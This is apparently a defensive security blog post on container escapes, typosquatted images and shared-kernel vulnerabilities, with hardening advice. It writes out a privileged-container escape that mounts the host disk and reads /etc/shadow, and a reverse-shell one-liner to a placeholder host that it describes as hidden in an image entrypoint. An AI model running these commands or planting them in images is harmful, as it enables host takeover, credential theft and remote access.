The Calm Before the Runtime Storm: Container Escapes and Monitoring Strategies

The moment you spot cap_sys_admin inside a privileged container, that’s the exact second isolation dies and the host system is handed over. Most people treat containers like lightweight VMs, but in reality, they are just processes running on the host kernel, restricted by namespaces and control groups (cgroups). If you don't draw those boundaries correctly, it takes an attacker mere seconds to leap out of the container and onto the host.

The Infamous '--privileged' Flag: An Invitation to Disaster

The most common mistake I see in the field is cranking up permissions to the max just because something 'isn't working.' When you start a container with the --privileged flag, you’re granting it access to almost every device on the host. You’re essentially tearing down the isolation wall with your own hands.

In this scenario, the first thing an attacker will do is mount the host's disk to their own container. Picture this scenario:

# Let's assume we are inside the container (Defanged example)
# Finding the host's main disk
lsblk

# Mounting the host disk to a folder
mkdir /mnt/host_root
mount /dev/sda1 /mnt/host_root

# Now we can access the host's /etc/shadow file, 
# add a new user, or steal SSH keys.
cat /mnt/host_root/etc/shadow

It’s that simple. This is why, at Payten, we meticulously audit the capability sets of every image heading to production. Permissions like CAP_SYS_ADMIN are basically 'God Mode'—they should never be granted unless absolutely mandatory.

The Trojan Horse Inside the Image: Supply Chain Security

Pulling an image from Docker Hub using the latest tag is the equivalent of plugging a random USB drive you found in a parking lot into your server. Attackers use typosquatting—registering names similar to popular images—to distribute packages embedded with reverse shells or cryptominers.

The payload might look something like this (Pseudo-code):

FROM library/ubuntu:latest
RUN apt-get update && apt-get install -y reverse-shell-client
# A script that will run secretly in the background
COPY entrypoint.sh /usr/local/bin/
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]

Imagine a command like sh -i >& /dev/tcp/example.com/4444 0>&1 hidden inside that entrypoint.sh. The moment the container spins up, a tunnel is opened from your network to the outside world.

What should we do?

1. Don't use Tags, use Digests: Instead of image: ubuntu:22.04, use image: ubuntu@sha256:45b23d... to ensure the image hasn't been tampered with.
2. Static Analysis (SAST): Scan your images during the build phase using tools like Trivy or Grype.

Kernel Vulnerabilities: The Container's Achilles' Heel

Containers share the same kernel as the host. This means if there’s a Privilege Escalation vulnerability in the kernel, a user inside the container can become root on the host directly. Vulnerabilities like DirtyCow (CVE-2016-5195) or Dirty Pipe (CVE-2022-0847) are textbook examples of this.

Keep your host OS updated, limit container capabilities, and never run processes as root inside the container if you can avoid it. Stay safe out there.